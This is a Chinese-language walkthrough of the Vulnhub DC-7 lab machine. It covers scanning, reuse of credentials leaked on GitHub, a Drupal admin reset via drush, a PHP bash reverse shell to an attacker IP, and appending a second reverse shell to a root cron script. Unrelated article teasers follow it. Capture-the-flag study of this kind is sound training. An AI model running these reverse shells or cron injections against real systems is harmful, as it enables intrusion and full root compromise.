news 2026/7/1 4:05:41

[ vulnhub靶机实战 ] DC-7 渗透测试全流程解析:从信息收集到Root提权

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[ vulnhub靶机实战 ] DC-7 渗透测试全流程解析:从信息收集到Root提权

1. DC-7靶机环境搭建与基础配置

DC-7是Vulnhub平台上经典的渗透测试靶机之一,设计初衷是帮助学习者掌握非暴力破解的信息收集技巧和提权方法。这个靶机采用Drupal内容管理系统构建,特别考验渗透测试人员对开源系统漏洞利用和权限提升的综合能力。

首先需要从Vulnhub官网下载DC-7的OVA镜像文件。下载完成后,建议使用VMware Workstation或VirtualBox导入虚拟机。我测试时使用的是VMware 16.2版本,导入过程很顺利。网络配置推荐使用NAT模式,这样靶机会自动获取IP地址,避免手动配置的麻烦。如果使用桥接模式,需要注意确保攻击机和靶机在同一网段。

启动靶机后,你会看到一个典型的Linux登录界面。这里不需要进行任何登录操作,因为我们后续要通过网络渗透来获取访问权限。通过arp-scan或netdiscover工具可以快速定位靶机IP。在我的测试环境中,靶机IP自动分配为192.168.31.134,你的环境中可能会有所不同。

2. 信息收集与漏洞发现

信息收集是渗透测试最关键的阶段。我首先使用nmap进行全端口扫描,命令如下:

nmap -sS -p- -T4 192.168.31.134

扫描结果显示靶机开放了22(SSH)和80(HTTP)两个端口。接着使用更详细的版本探测命令:

nmap -sV -sC -O -p22,80 192.168.31.134

从扫描结果可以确认Web服务器是Apache 2.4.25,运行在Debian系统上,网站使用的是Drupal 8.3.7。访问网站首页,页面底部有一个不起眼的"@DC7USER"提示,这将成为我们突破的关键线索。

使用dirsearch进行目录扫描:

python3 dirsearch.py -u http://192.168.31.134 -e php,html,txt

扫描发现了/user/login登录页面和/robots.txt文件,但常规路径都没有发现明显漏洞。这时需要关注之前发现的"@DC7USER"提示,在GitHub搜索这个用户名,果然找到了一个与靶机相关的代码仓库。

3. GitHub信息泄露利用

在DC7USER的GitHub仓库中,发现了一个包含数据库配置的config.php文件,其中明文存储了数据库凭据:

$db_url = 'mysql://dc7user:MdR3xOgB7#dW@localhost/drupal';

尝试使用这些凭据通过SSH登录靶机:

ssh dc7user@192.168.31.134

输入密码"MdR3xOgB7#dW"后成功获取了初始shell访问权限。进入系统后查看/home/dc7user目录,发现mbox邮件文件,其中包含重要信息:

cat /var/mail/dc7user

邮件显示有一个定时任务以root权限定期执行/opt/scripts/backups.sh脚本。

4. Drush命令利用与Web权限提升

检查/opt/scripts/backups.sh脚本内容:

#!/bin/bash rm /home/dc7user/backups/* cd /var/www/html drush sql-dump --result-file=/home/dc7user/backups/website.sql cd .. tar -czf /home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz chown dc7user:dc7user /home/dc7user/backups/* rm /home/dc7user/backups/website.sql rm /home/dc7user/backups/website.tar.gz

发现脚本使用了drush命令,这是Drupal的管理工具。我们可以利用它修改管理员密码:

cd /var/www/html drush user-password admin --password="newpassword"

然后通过Web界面使用admin/newpassword登录Drupal后台。在后台需要安装PHP Filter模块才能执行PHP代码。从Drupal官网下载php-8.x-1.0.tar.gz,在"Extend"页面安装并启用这个模块。

5. 定时任务提权获取Root权限

在Drupal后台创建新的Basic Page,内容为PHP反弹shell代码:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.128/4444 0>&1'"); ?>

在Kali上启动监听:

nc -lvnp 4444

获取到www-data用户的shell后,升级为交互式终端:

python3 -c 'import pty; pty.spawn("/bin/bash")'

由于/opt/scripts/backups.sh脚本属于www-data组,我们可以修改它来获取root权限:

echo 'bash -i >& /dev/tcp/192.168.31.128/5555 0>&1' >> /opt/scripts/backups.sh

在Kali上启动另一个监听端口:

nc -lvnp 5555

等待定时任务执行(约15分钟)后,就能获得root权限的shell。最后在/root目录下可以找到flag文件:

cat /root/theflag.txt

整个渗透过程中,最关键的是发现GitHub信息泄露和利用drush命令这两个非传统攻击路径。这种"跳出盒子"的思维方式在实际渗透测试中尤为重要。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/1 6:48:02

MGDA-UB:多任务学习中的帕累托最优梯度优化实践

1. 多任务学习为什么需要帕累托最优&#xff1f; 想象你同时教一个机器人做两件事&#xff1a;识别猫和识别狗。如果只用简单加权法把两个任务的损失函数相加&#xff0c;可能会遇到这种情况&#xff1a;调整参数让猫识别准确率提升1%&#xff0c;却导致狗识别准确率下降5%。这…

作者头像 李华
网站建设 2026/7/1 6:48:07

系统优化工具全攻略:提升Windows性能的专业指南

系统优化工具全攻略&#xff1a;提升Windows性能的专业指南 【免费下载链接】Atlas &#x1f680; An open and lightweight modification to Windows, designed to optimize performance, privacy and security. 项目地址: https://gitcode.com/GitHub_Trending/atlas1/Atla…

作者头像 李华
网站建设 2026/7/1 13:55:25

NetSonar:跨平台网络诊断工具全解析

NetSonar&#xff1a;跨平台网络诊断工具全解析 【免费下载链接】NetSonar Network pings and other utilities 项目地址: https://gitcode.com/gh_mirrors/ne/NetSonar 在网络运维与日常使用中&#xff0c;面对网络抖动、连接中断等问题时&#xff0c;一款可靠的网络诊…

作者头像 李华
网站建设 2026/7/1 6:57:35

大麦自动抢票技术全解析:从失败诊断到高效抢票实践

大麦自动抢票技术全解析&#xff1a;从失败诊断到高效抢票实践 【免费下载链接】ticket-purchase 大麦自动抢票&#xff0c;支持人员、城市、日期场次、价格选择 项目地址: https://gitcode.com/GitHub_Trending/ti/ticket-purchase 问题诊断&#xff1a;抢票失败数据报…

作者头像 李华